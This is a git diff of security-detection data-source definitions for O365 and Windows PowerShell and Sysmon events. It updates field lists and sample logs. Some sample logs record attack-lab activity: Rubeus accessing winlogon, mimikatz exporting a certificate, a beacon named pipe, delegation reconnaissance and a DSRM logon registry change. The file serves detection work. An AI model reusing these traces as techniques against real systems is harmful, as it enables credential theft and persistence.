"75243ab2-44f8-435c-a7a6-b479385df6d4", "RecordType": 15, "ResultStatus": "Success", "UserKey": "2d2f9e2c-8350-4d98-852e-3f06daaf7185", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ClientIP": "54.68.231.63", "ObjectId": "00000002-0000-0ff1-ce00-000000000000", "UserId": "user15@splunkresearch.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "ResultStatusDetail", "Value": "Success"}, {"Name": "UserAgent", "Value": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0"}, {"Name": "RequestType", "Value": "OAuth2:Authorize"}], "ModifiedProperties": [], "Actor": [{"ID": "2d2f9e2c-8350-4d98-852e-3f06daaf7185", "Type": 0}, {"ID": "user15@splunkresearch.onmicrosoft.com", "Type": 5}], "ActorContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "ActorIpAddress": "54.68.231.63", "InterSystemsId": "6463a6ad-27ec-b311-dc52-ecdde38d9492", "IntraSystemId": "52d72a62-132b-487b-bb7f-c4c119f90700", "SupportTicketId": "", "Target": [{"ID": "00000002-0000-0ff1-ce00-000000000000", "Type": 0}], "TargetContextId": "75243ab2-44f8-435c-a7a6-b479385df6d4", "ApplicationId": "00000002-0000-0ff1-ce00-000000000000", "DeviceProperties": [{"Name": "OS", "Value": "Windows10"}, {"Name": "BrowserType", "Value": "Firefox"}, {"Name": "SessionId", "Value": "15e27956-79a0-45b2-9d02-60f48349f692"}], "ErrorNumber": "0"} diff --git a/data_sources/o365_userloginfailed.yml b/data_sources/o365_userloginfailed.yml index bdacceddf4..40056fd2a1 100644 --- a/data_sources/o365_userloginfailed.yml +++ b/data_sources/o365_userloginfailed.yml @@ -1,8 +1,8 @@ name: O365 UserLoginFailed id: 6099b33d-d581-43ed-8401-911862590361 -version: 3 +version: 4 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs failed login attempts by users in Microsoft 365, including details about the user account, IP address, and reason for failure. mitre_components: @@ -20,49 +20,20 @@ supported_TA: version: 6.1.1 fields: - _time + - action - ActorContextId - ActorIpAddress - Actor{}.ID - Actor{}.Type + - app - ApplicationId + - authentication_method + - authentication_service - AzureActiveDirectoryEventType - BrowserType - ClientIP - - CreationTime - - DeviceProperties{}.Name - - DeviceProperties{}.Value - - ErrorNumber - - ExtendedProperties{}.Name - - ExtendedProperties{}.Value - - Id - - InterSystemsId - - IntraSystemId - - IsCompliantAndManaged - - LogonError - - OS - - ObjectId - - Operation - - OrganizationId - - RecordType - - RequestType - - ResultStatus - - ResultStatusDetail - - SupportTicketId - - TargetContextId - - Target{}.ID - - Target{}.Type - - UserAgent - - UserAuthenticationMethod - - UserId - - UserKey - - UserType - - Version - - Workload - - action - - app - - authentication_method - - authentication_service - command + - CreationTime - dataset_name - date_hour - date_mday @@ -74,17 +45,36 @@ fields: - date_zone - dest - dest_name + - DeviceProperties{}.Name + - DeviceProperties{}.Value - dvc + - ErrorNumber - event_type - eventtype + - extended_properties + - ExtendedProperties{}.Name + - ExtendedProperties{}.Value - host + - Id - index + - InterSystemsId + - IntraSystemId + - IsCompliantAndManaged + - KeepMeSignedIn - linecount - - object + - LogonError + - ObjectId + - Operation + - OrganizationId + - OS - punct - reason - record_type + - RecordType + - RequestType - result + - ResultStatus + - ResultStatusDetail - signature - source - sourcetype @@ -92,18 +82,35 @@ fields: - src - src_ip - status + - SupportTicketId - tag - tag::action - tag::eventtype + - TargetContextId + - Target{}.ID + - Target{}.Type + - tenant_id + - timeendpos + - timestamp + - timestartpos - user - user_agent + - user_id - user_type + - UserAgent + - UserAuthenticationMethod + - UserId + - UserKey + - UserType - vendor_account - vendor_product + - Version + - Workload output_fields: - dest - user - src - vendor_account - vendor_product -example_log: '{"CreationTime": "2023-10-10T17:08:65", "Id": "4593aac8-855f-4341-9d2a-4289146eb800", "Operation": "UserLoginFailed", "OrganizationId": "d541aae6-6b73-4a7c-aaf0-a4de30c872bc", "RecordType": 15, "ResultStatus": "Failed", "UserKey": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory", "ClientIP": "52.3.21.4", "ObjectId": "Unknown", "UserId": "user30@contoso.onmicrosoft.com", "AzureActiveDirectoryEventType": 1, "ExtendedProperties": [{"Name": "ResultStatusDetail", "Value": "UserError"}, {"Name": "UserAgent", "Value": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36"}, {"Name": "UserAuthenticationMethod", "Value": "1"}, {"Name": "RequestType", "Value": "OAuth2:Token"}], "ModifiedProperties": [], "Actor": [{"ID": "57e4bd36-9722-4a4a-9729-7203d8e00b72", "Type": 0}, {"ID": "user30@contoso.onmicrosoft.com", "Type": 5}], "ActorContextId": "d541aae6-6b73-4a7c-aaf0-a4de30c872bc", "ActorIpAddress": "52.3.21.4", "InterSystemsId": "97e59adc-b4be-4ea6-8f17-b46677242190", "IntraSystemId": "eeeba3a0-c619-437a-9879-3dd009f9bf00", "SupportTicketId": "", "Target": [{"ID": "Unknown", "Type": 0}], "TargetContextId": "d541aae6-6b73-4a7c-aaf0-a4de30c872bc", "ApplicationId": "9ba1a5c7-f17a-4de9-a1f1-6178c8d51223", "DeviceProperties": [{"Name": "OS", "Value": "Windows10"}, {"Name": "BrowserType", "Value": "Chrome"}, {"Name": "IsCompliantAndManaged", "Value": "False"}], "ErrorNumber": "50126", "LogonError": "InvalidUserNameOrPassword"}' +example_log: | + {"Actor": [{"ID": "bfb8c366-0406-41a5-b3e3-328f4a3b4484", "Type": 0}, {"ID": "rodsoto@rodsoto.onmicrosoft.com", "Type": 5}], "ActorContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "ActorIpAddress": "66.176.252.11", "ApplicationId": "cb1056e2-e479-49de-ae31-7812af012ed8", "AzureActiveDirectoryEventType": 1, "ClientIP": "66.176.252.11", "CreationTime": "2021-01-05T23:35:29", "ExtendedProperties": [{"Name": "UserAgent", "Value": "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E)"}, {"Name": "UserAuthenticationMethod", "Value": "1"}, {"Name": "RequestType", "Value": "Login:login"}, {"Name": "ResultStatusDetail", "Value": "Success"}, {"Name": "KeepMeSignedIn", "Value": "false"}], "Id": "348abf3d-3f93-4700-bd8e-7abc7d2f4602", "InterSystemsId": "42eddb3e-516c-4c57-94c6-af26054601b1", "IntraSystemId": "348abf3d-3f93-4700-bd8e-7abc7d2f4602", "LogonError": "SsoArtifactInvalidOrExpired", "ModifiedProperties": [], "ObjectId": "00000002-0000-0000-c000-000000000000", "Operation": "UserLoginFailed", "OrganizationId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "RecordType": 15, "ResultStatus": "Succeeded", "SupportTicketId": "", "Target": [{"ID": "00000002-0000-0000-c000-000000000000", "Type": 0}], "TargetContextId": "0e8108b1-18e9-41a4-961b-dfcddf92ef08", "UserId": "rodsoto@rodsoto.onmicrosoft.com", "UserKey": "rodsoto@rodsoto.onmicrosoft.com", "UserType": 0, "Version": 1, "Workload": "AzureActiveDirectory"} diff --git a/data_sources/powershell_script_block_logging_4104.yml b/data_sources/powershell_script_block_logging_4104.yml index f5c6668fa1..8c14ab25ef 100644 --- a/data_sources/powershell_script_block_logging_4104.yml +++ b/data_sources/powershell_script_block_logging_4104.yml @@ -1,8 +1,8 @@ name: Powershell Script Block Logging 4104 id: 5cfd0c72-d989-47a0-92f9-6edc6f8d3564 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs detailed content of PowerShell script blocks as they are executed, including the full command text and context for the execution. mitre_components: @@ -24,55 +24,50 @@ fields: - ActivityID - Channel - Computer + - dest + - dvc + - dvc_nt_host + - event_id - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - Keywords - Level + - linecount - MessageNumber - MessageTotal - Name - Opcode - - Path - ProcessID + - punct - RecordNumber - ScriptBlockId - ScriptBlockText - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - UserID - - Version - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - punct + - severity + - severity_id + - signature - signature_id - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - user_id + - UserID - vendor_product + - Version output_fields: - dest - signature @@ -102,4 +97,5 @@ field_mappings: ScriptBlockId: process.uid ScriptBlockText: process.cmd_line UserID: actor.user.uid -example_log: 4104152150x0112748Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11function New-Mutex($MutexName) { +example_log: | + 4104152150x0173718Microsoft-Windows-PowerShell/Operationalar-win-dc.attackrange.local11Get-ADComputer -TrustedForDelegation2deff591-3d0a-452d-8965-70b16cff029e diff --git a/data_sources/sysmon_eventid_10.yml b/data_sources/sysmon_eventid_10.yml index 7c13a96041..cb82bb9d30 100644 --- a/data_sources/sysmon_eventid_10.yml +++ b/data_sources/sysmon_eventid_10.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 10 id: 659cd5a8-148a-4c59-ade1-05f41ac1b096 -version: 5 +version: 6 creation_date: '2024-05-22' -modification_date: '2026-09-21' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs events where one process accesses another process, typically for memory reads or injections, including details about the source and target processes. mitre_components: @@ -21,42 +21,10 @@ supported_TA: version: 5.0.1 fields: - _time + - action - CallTrace - Channel - Computer - - EventChannel - - EventCode - - EventData_Xml - - EventDescription - - EventID - - EventRecordID - - GrantedAccess - - Guid - - Keywords - - Level - - Name - - Opcode - - ProcessID - - RecordID - - RecordNumber - - RuleName - - SecurityID - - SourceImage - - SourceProcessGUID - - SourceProcessId - - SourceThreadId - - SystemTime - - System_Props_Xml - - TargetImage - - TargetProcessGUID - - TargetProcessId - - Task - - ThreadID - - TimeCreated - - UserID - - UtcTime - - Version - - action - date_hour - date_mday - date_minute @@ -69,12 +37,25 @@ fields: - dvc - dvc_nt_host - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID - eventtype - granted_access + - granted_access_description + - GrantedAccess + - Guid - host - id - index + - Keywords + - Level - linecount + - Name + - Opcode - os - parent_process_exec - parent_process_guid @@ -86,18 +67,44 @@ fields: - process_id - process_name - process_path + - ProcessID - punct + - RecordID + - RecordNumber + - RuleName + - SecurityID + - severity + - severity_id - signature - signature_id - source + - SourceImage + - SourceProcessGUID + - SourceProcessId + - SourceThreadId - sourcetype + - SourceUser - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype + - TargetImage + - TargetProcessGUID + - TargetProcessId + - TargetUser + - Task + - TaskCategory + - ThreadID + - TimeCreated - timeendpos - timestartpos + - user - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - dest - user_id @@ -109,4 +116,5 @@ output_fields: - TargetImage - GrantedAccess - CallTrace -example_log: 10341000x8000000000000000150624412Microsoft-Windows-Sysmon/Operationalwin-dc-128.attackrange.local-2022-02-01 21:01:44.670{3BF36828-9F6D-61F9-390A-02000000CF01}1272956C:\Tools\Rubeus.exe{3BF36828-4B37-61E8-0900-00000000CF01}572C:\Windows\system32\winlogon.exe0x1f3fffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\92b818b675d92827ce6f9fe02da8f648\System.ni.dll+381f60|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\92b818b675d92827ce6f9fe02da8f648\System.ni.dll+2fa12e|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\92b818b675d92827ce6f9fe02da8f648\System.ni.dll+2f8cd5|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\92b818b675d92827ce6f9fe02da8f648\System.ni.dll+2c3b1e|C:\Windows\assembly\NativeImages_v4.0.30319_64\System\92b818b675d92827ce6f9fe02da8f648\System.ni.dll+2c01f5|UNKNOWN(00007FFD8E245F0C) +example_log: | + 10341000x8000000000000000145514Microsoft-Windows-Sysmon/Operationalar-win-dc-2025-10-31 12:34:47.757{CA8A6768-AC6C-6904-0C08-00000000FB03}39324456C:\Temp\castlerat_SEMIFIX.exe{CA8A6768-ACDB-6904-1C08-00000000FB03}6004C:\Windows\System32\ComputerDefaults.exe0x12367bC:\Windows\SYSTEM32\ntdll.dll+a9824|C:\Windows\System32\KERNELBASE.dll+c4405|C:\Temp\castlerat_SEMIFIX.exe+1575|C:\Temp\castlerat_SEMIFIX.exe+1f4b|C:\Temp\castlerat_SEMIFIX.exe+217de|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51a11AR-WIN-DC\AdministratorAR-WIN-DC\Administrator diff --git a/data_sources/sysmon_eventid_11.yml b/data_sources/sysmon_eventid_11.yml index 847bf94914..e04457567a 100644 --- a/data_sources/sysmon_eventid_11.yml +++ b/data_sources/sysmon_eventid_11.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 11 id: f3db9179-f4f5-416d-bc03-39f4d4ff699e -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of a new file, including details about the file path, hash information, and associated process metadata. mitre_components: @@ -22,38 +22,10 @@ supported_TA: version: 5.0.1 fields: - _time + - action - Channel - Computer - CreationUtcTime - - EventChannel - - EventCode - - EventData_Xml - - EventDescription - - EventID - - EventRecordID - - Guid - - Image - - Keywords - - Level - - Name - - Opcode - - ProcessGuid - - ProcessID - - ProcessId - - RecordID - - RecordNumber - - RuleName - - SecurityID - - SystemTime - - System_Props_Xml - - TargetFilename - - Task - - ThreadID - - TimeCreated - - UserID - - UtcTime - - Version - - action - date_hour - date_mday - date_minute @@ -63,35 +35,69 @@ fields: - date_year - date_zone - dest + - dvc - dvc_nt_host - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID - eventtype - file_create_time - file_name - file_path + - Guid - host - id + - Image - index + - Keywords + - Level - linecount + - Name - object_category + - Opcode - process_exec - process_guid - process_id - process_name - process_path + - ProcessGuid + - ProcessID + - ProcessId - punct + - RecordID + - RecordNumber + - RuleName + - SecurityID + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype - tag::object_category + - TargetFilename + - Task + - TaskCategory + - ThreadID + - TimeCreated - timeendpos - timestartpos + - User + - user - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - action - dest @@ -110,4 +116,5 @@ field_mappings: ProcessId: Filesystem.process_id TargetFilename: Filesystem.file_path TargetFilename|endswith: Filesystem.file_name -example_log: 11241100x80000000000000007712490Microsoft-Windows-Sysmon/Operationalwin-dc-mhaag-attack-range-84.attackrange.localDownloads2023-02-08 13:01:11.053{0F9A6540-A70E-63E2-3091-00000000BD02}9332C:\Users\Administrator\Downloads\mimikatz_trunk\x64\mimikatz.exeC:\Users\Administrator\Downloads\mimikatz_trunk\x64\CURRENT_USER_My_4_atomic@art2.local.pfx2023-02-08 13:01:11.053 +example_log: | + 11241100x800000000000000012805Microsoft-Windows-Sysmon/OperationalEC2AMAZ-FKEOM7GDLL2026-08-14 16:03:29.585{1b43529b-244c-6a7f-eb03-000000000000}4SystemC:\Windows\System32\phoneinfo.dll2026-08-14 16:03:29.585NT AUTHORITY\SYSTEM diff --git a/data_sources/sysmon_eventid_12.yml b/data_sources/sysmon_eventid_12.yml index b52aefa9f7..1f4fa289f0 100644 --- a/data_sources/sysmon_eventid_12.yml +++ b/data_sources/sysmon_eventid_12.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 12 id: 3ef28798-8eaa-4fd2-b074-6f36d08a1b33 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of a new registry key, including details about the key name, registry path, and associated process metadata. mitre_components: @@ -21,38 +21,9 @@ supported_TA: version: 5.0.1 fields: - _time + - action - Channel - Computer - - EventChannel - - EventCode - - EventData_Xml - - EventDescription - - EventID - - EventRecordID - - EventType - - Guid - - Image - - Keywords - - Level - - Name - - Opcode - - ProcessGuid - - ProcessID - - ProcessId - - RecordID - - RecordNumber - - RuleName - - SecurityID - - SystemTime - - System_Props_Xml - - TargetObject - - Task - - ThreadID - - TimeCreated - - UserID - - UtcTime - - Version - - action - date_hour - date_mday - date_minute @@ -62,24 +33,46 @@ fields: - date_year - date_zone - dest + - dvc - dvc_nt_host - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType - eventtype + - Guid - host - id + - Image - index + - Keywords + - Level - linecount + - Name - object_category - object_path + - Opcode - process_exec - process_guid - process_id - process_name - process_path + - ProcessGuid + - ProcessID + - ProcessId - punct + - RecordID + - RecordNumber - registry_hive - registry_key_name - registry_path + - RuleName + - SecurityID + - severity - severity_id - signature - signature_id @@ -87,13 +80,25 @@ fields: - sourcetype - splunk_server - status + - System_Props_Xml + - SystemTime - tag - tag::eventtype - tag::object_category + - TargetObject + - Task + - TaskCategory + - ThreadID + - TimeCreated - timeendpos - timestartpos + - User + - user - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - action - dest @@ -113,4 +118,5 @@ field_mappings: ProcessGuid: Registry.process_guid ProcessId: Registry.process_id TargetObject: Registry.registry_path -example_log: 12241200x80000000000000001055579Microsoft-Windows-Sysmon/Operationalwin-dc-890.attackrange.local-DeleteKey2021-07-12 08:10:32.592{466BC892-F8F2-60EB-107E-00000000CF01}10188C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeHKU\S-1-5-21-2333072374-3391925831-3197092227-1112_Classes\exefile\shell\runas\command +example_log: | + 12241200x800000000000000013262Microsoft-Windows-Sysmon/Operationalar-win-2.attackrange.localT1060,RunPolicyDeleteValue2024-06-21 09:25:49.545{848A6B75-314B-6675-1500-000000000B03}1128C:\Windows\system32\svchost.exeHKLM\System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\FirewallRules\{0D807408-8157-49B9-ACFC-0B5C15B1119E}NT AUTHORITY\LOCAL SERVICE diff --git a/data_sources/sysmon_eventid_13.yml b/data_sources/sysmon_eventid_13.yml index 9dd9afc34d..2689eadb6a 100644 --- a/data_sources/sysmon_eventid_13.yml +++ b/data_sources/sysmon_eventid_13.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 13 id: 19cd00ee-f65f-48ca-bb08-64aac28638ce -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs changes to a registry key, including details about the modified key, value, and associated process. mitre_components: @@ -21,41 +21,9 @@ supported_TA: version: 5.0.1 fields: - _time + - action - Channel - Computer - - Details - - EventChannel - - EventCode - - EventData_Xml - - EventDescription - - EventID - - EventRecordID - - EventType - - Guid - - Image - - Keywords - - Level - - Name - - Opcode - - ProcessGuid - - ProcessID - - ProcessId - - RecordID - - RecordNumber - - RegistryValueData - - RegistryValueType - - RuleName - - SecurityID - - SystemTime - - System_Props_Xml - - TargetObject - - Task - - ThreadID - - TimeCreated - - UserID - - UtcTime - - Version - - action - date_hour - date_mday - date_minute @@ -65,28 +33,52 @@ fields: - date_year - date_zone - dest + - Details - dvc - dvc_nt_host - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType - eventtype + - Guid - host - id + - Image - index + - Keywords + - Level - linecount + - Name - object_category - object_path + - Opcode - process_exec - process_guid - process_id - process_name - process_path + - ProcessGuid + - ProcessID + - ProcessId - punct + - RecordID + - RecordNumber - registry_hive - registry_key_name - registry_path - registry_value_data - registry_value_name - registry_value_type + - RegistryValueData + - RegistryValueType + - RuleName + - SecurityID + - severity - severity_id - signature - signature_id @@ -94,13 +86,23 @@ fields: - sourcetype - splunk_server - status + - System_Props_Xml + - SystemTime - tag - tag::eventtype - tag::object_category + - TargetObject + - Task + - TaskCategory + - ThreadID + - TimeCreated - timeendpos - timestartpos - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - action - dest @@ -126,4 +128,5 @@ field_mappings: action: Registry.action TargetObject|startswith: Registry.registry_key_name TargetObject|endswith: Registry.registry_value_name -example_log: 13241300x8000000000000000810987Microsoft-Windows-Sysmon/Operationalwin-host-623.attackrange.local-SetValue2021-07-12 08:11:04.547{0C1E0330-048F-60E8-0B00-00000000D001}628C:\Windows\system32\lsass.exeHKLM\System\CurrentControlSet\Services\W32Time\SecureTimeLimits\SecureTimeHighQWORD (0x01d776fd-0xd724b8c5) +example_log: | + 13241300x8000000000000000262912Microsoft-Windows-Sysmon/Operationalwin-dc-root-42062-811.attackrange.localT1101SetValue2022-07-20 07:01:49.126{5AE44C2C-A85D-62D7-6B23-000000006902}32C:\Windows\system32\reg.exeHKLM\System\CurrentControlSet\Control\Lsa\DSRMAdminLogonBehaviorDWORD (0x00000002) diff --git a/data_sources/sysmon_eventid_14.yml b/data_sources/sysmon_eventid_14.yml index 877834a5fd..94dcda0e0f 100644 --- a/data_sources/sysmon_eventid_14.yml +++ b/data_sources/sysmon_eventid_14.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 14 id: 77c4b345-0eab-415e-98c6-f4114b021723 -version: 3 +version: 4 creation_date: '2025-02-21' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Bhavin Patel, Splunk description: Data source object for Sysmon EventID 14 source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational @@ -15,4 +15,121 @@ supported_TA: version: 5.0.1 fields: - _time -example_log: '' + - action + - Channel + - CommandLine + - Company + - Computer + - CurrentDirectory + - date_hour + - date_mday + - date_minute + - date_month + - date_second + - date_wday + - date_year + - date_zone + - Description + - dest + - Details + - dvc + - dvc_nt_host + - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType + - eventtype + - FileVersion + - Guid + - Hashes + - host + - id + - Image + - IMPHASH + - index + - IntegrityLevel + - Keywords + - Level + - linecount + - LogonGuid + - LogonId + - MD5 + - Name + - object_category + - object_path + - Opcode + - original_file_name + - OriginalFileName + - os + - parent_process + - parent_process_exec + - parent_process_guid + - parent_process_id + - parent_process_name + - parent_process_path + - ParentCommandLine + - ParentImage + - ParentProcessGuid + - ParentProcessId + - ParentUser + - process + - process_current_directory + - process_exec + - process_guid + - process_hash + - process_id + - process_integrity_level + - process_name + - process_path + - ProcessGuid + - ProcessID + - ProcessId + - Product + - punct + - RecordID + - RecordNumber + - registry_hive + - registry_key_name + - registry_path + - registry_value_data + - registry_value_name + - registry_value_type + - RegistryValueData + - RegistryValueType + - RuleName + - SecurityID + - severity + - severity_id + - SHA256 + - signature + - signature_id + - source + - sourcetype + - splunk_server + - status + - System_Props_Xml + - SystemTime + - tag + - tag::eventtype + - tag::object_category + - TargetObject + - Task + - TaskCategory + - TerminalSessionId + - ThreadID + - TimeCreated + - timeendpos + - timestartpos + - User + - user + - user_id + - UserID + - UtcTime + - vendor_product + - Version +example_log: | + 1 5 4 1 0 0x8000000000000000 1588086 Microsoft-Windows-Sysmon/Operational WIN10-21H1.snapattack.labs - 2024-10-25 17:34:44.951 F51F9151-D6B4-671B-5506-000000001600 3020 C:\Windows\System32\svchost.exe 10.0.19041.546 (WinBuild.160101.0800) Host Process for Windows Services Microsoft® Windows® Operating System Microsoft Corporation svchost.exe C:\Windows\system32\svchost.exe -k localService -p -s RemoteRegistry C:\Windows\system32\ NT AUTHORITY\LOCAL SERVICE F51F9151-D420-671B-E503-000000000000 0x3e5 0 System MD5=F586835082F632DC8D9404D83BC16316,SHA256=643EC58E82E0272C97C2A59F6020970D881AF19C0AD5029DB9C958C13B6558C7,IMPHASH=F9BBD96FAE53B7A31264A703CAFA0666 F51F9151-D420-671B-0B00-000000001600 708 C:\Windows\System32\services.exe C:\Windows\system32\services.exe NT AUTHORITY\SYSTEM diff --git a/data_sources/sysmon_eventid_15.yml b/data_sources/sysmon_eventid_15.yml index 26bc8419fa..1ce6c12f12 100644 --- a/data_sources/sysmon_eventid_15.yml +++ b/data_sources/sysmon_eventid_15.yml @@ -2,7 +2,7 @@ name: Sysmon EventID 15 id: 95785e02-93b4-47e2-81f1-be326295348e version: 5 creation_date: '2024-05-22' -modification_date: '2026-10-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the creation of a new file stream, including details about the file stream's hash, path, and associated process metadata. mitre_components: @@ -36,6 +36,7 @@ fields: - date_year - date_zone - dest + - dvc - dvc_nt_host - event_id - EventChannel @@ -76,6 +77,8 @@ fields: - RecordNumber - RuleName - SecurityID + - severity + - severity_id - SHA256 - signature - signature_id @@ -88,11 +91,14 @@ fields: - tag::eventtype - TargetFilename - Task + - TaskCategory - ThreadID - TimeCreated - timeendpos + - timestamp - timestartpos - user + - User - user_id - UserID - UtcTime @@ -114,4 +120,5 @@ output_fields: - user - user_id - vendor_product -example_log: 15241500x8000000000000000667860Microsoft-Windows-Sysmon/Operationalproject-mumbai-host-2021-04-28 20:11:34.709{ED2ECF8A-C154-6089-F967-00000000BB01}7000C:\Users\DefaultAccount\AppData\Roaming\Telegram Desktop\Telegram.exeC:\Users\DefaultAccount\Downloads\Telegram Desktop\Good(NLA).txt:Zone.Identifier2021-04-28 20:11:33.238MD5=C785C55D5FA3443A11B8417209C4B524,SHA256=D07777E0DC36EBECCE3FA9644F0F44DC4A0B7EDE0CBC1F5D33E8D6CB07AF5B5C,IMPHASH=00000000000000000000000000000000[ZoneTransfer] ZoneId=3 +example_log: | + 15241500x80000000000000001590509Microsoft-Windows-Sysmon/OperationalWIN10-21H1.snapattack.labs-2026-04-21 17:43:18.408F51F9151-8F0F-66AB-5100-000000000C003368C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.24060.7-0\MsMpEng.exeC:\Windows\System32\drivers\ypupsude.sys2026-04-21 17:43:18.393MD5=79534331D05DFD0F747E1C129F9607E3,SHA256=41989526B4EB8D60A5E158F835EE90EEA5FE4E499705109317CD6F72114C852F,IMPHASH=AB984C67B3F5AE12FA0E91909A378B14-NT AUTHORITY\SYSTEM diff --git a/data_sources/sysmon_eventid_17.yml b/data_sources/sysmon_eventid_17.yml index 53031fbf53..c11c2e7711 100644 --- a/data_sources/sysmon_eventid_17.yml +++ b/data_sources/sysmon_eventid_17.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 17 id: 08924246-c8e8-4c95-a9fc-633c43cc82df -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Sysmon EventID 17 logs details about the detection of a named pipe. mitre_components: @@ -18,38 +18,9 @@ supported_TA: version: 5.0.1 fields: - _time + - action - Channel - Computer - - EventChannel - - EventCode - - EventData_Xml - - EventDescription - - EventID - - EventRecordID - - EventType - - Guid - - Image - - Keywords - - Level - - Name - - Opcode - - PipeName - - ProcessGuid - - ProcessID - - ProcessId - - RecordID - - RecordNumber - - RuleName - - SecurityID - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - TimeCreated - - UserID - - UtcTime - - Version - - action - date_hour - date_mday - date_minute @@ -59,33 +30,66 @@ fields: - date_year - date_zone - dest + - dvc - dvc_nt_host - event_id + - EventChannel + - EventCode + - EventData_Xml + - EventDescription + - EventID + - EventRecordID + - EventType - eventtype + - Guid - host - id + - Image - index + - Keywords + - Level - linecount + - Name + - Opcode - os - pipe_name + - PipeName - process_exec - process_guid - process_id - process_name - process_path + - ProcessGuid + - ProcessID + - ProcessId - punct + - RecordID + - RecordNumber + - RuleName + - SecurityID + - severity - severity_id - signature - signature_id - source - sourcetype - splunk_server + - System_Props_Xml + - SystemTime - tag - tag::eventtype + - Task + - ThreadID + - TimeCreated - timeendpos - timestartpos + - User + - user - user_id + - UserID + - UtcTime - vendor_product + - Version output_fields: - dest - dvc @@ -99,4 +103,5 @@ output_fields: - signature_id - user_id - vendor_product -example_log: 17141700x8000000000000000162168Microsoft-Windows-Sysmon/Operationalwin-dc-982.attackrange.local-CreatePipe2021-04-19 21:00:18.288{761B69BB-EF62-607D-B211-00000000BA01}6960\MSSE-1516-serverC:\Users\Administrator\Desktop\beacon.exe +example_log: | + 17141700x80000000000000002946Microsoft-Windows-Sysmon/OperationalEC2AMAZ-7DETGRN-CreatePipe2025-03-20 14:36:30.520BD875050-27E1-67DC-5905-00000000C7026324\adprinterpipeC:\Program Files (x86)\AnyDesk-ad_b8144d09\AnyDesk-ad_b8144d09.exeEC2AMAZ-7DETGRN\user diff --git a/data_sources/sysmon_eventid_18.yml b/data_sources/sysmon_eventid_18.yml index 01dec72da3..ab50367cbe 100644 --- a/data_sources/sysmon_eventid_18.yml +++ b/data_sources/sysmon_eventid_18.yml @@ -1,8 +1,8 @@ name: Sysmon EventID 18 id: 37eb3554-214e-4e66-af10-c3ffc5b8ca82 -version: 4 +version: 5 creation_date: '2024-05-22' -modification_date: '2026-05-13' +modification_date: '2026-10-14' author: Patrick Bareiss, Splunk description: Logs the connection to a named pipe, including details about the pipe name, source and destination processes, and communication direction. mitre_components: @@ -21,38 +21,9 @@ supported_TA: version: 5.0.1 fields: - _time + - action - Channel - Computer - - EventChannel - - EventCode - - 